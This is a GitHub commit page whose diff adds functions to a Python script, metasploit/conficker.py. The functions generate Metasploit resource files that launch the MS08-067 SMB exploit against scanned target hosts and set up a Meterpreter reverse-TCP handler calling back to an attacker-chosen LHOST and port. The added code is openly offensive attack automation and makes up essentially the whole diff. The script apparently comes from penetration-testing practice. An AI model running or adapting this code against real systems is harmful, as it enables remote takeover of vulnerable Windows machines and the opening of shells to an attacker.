Skip to content

Commit

Permalink
implemented setupHandler and confickerExploit to conficker.py
Browse files Browse the repository at this point in the history
  • Loading branch information
ninijay committed Nov 1, 2017
1 parent 20093be commit 67ab828
Showing 1 changed file with 14 additions and 0 deletions.
14 changes: 14 additions & 0 deletions metasploit/conficker.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,3 +10,17 @@ def findTgts(subNet):
print '[+] Found Target Host: ' + host
tgtHosts.append(host)
return tgtHosts
def setupHandler(configFile, lhost, lport):
configFile.write('use exploit/multi/handler\n')
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT ' + str(lport) + '\n')
configFile.write('set LHOST ' + lhost + '\n')
configFile.write('exploit -j -z\n')
configFile.write('setg DisablePayloadHandler 1\n')
def confickerExploit(configFile, tgtHost, lhost, lport):
configFile.write('use exploit/windows/smb/ms08_067_netapi\n')
configFile.write('set RHOST ' + str(tgtHost) + '\n')
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT ' + str(lport) + '\n')
configFile.write('set LHOST ' + lhost + '\n')
configFile.write('exploit -j -z\n')

0 comments on commit 67ab828

Please sign in to comment.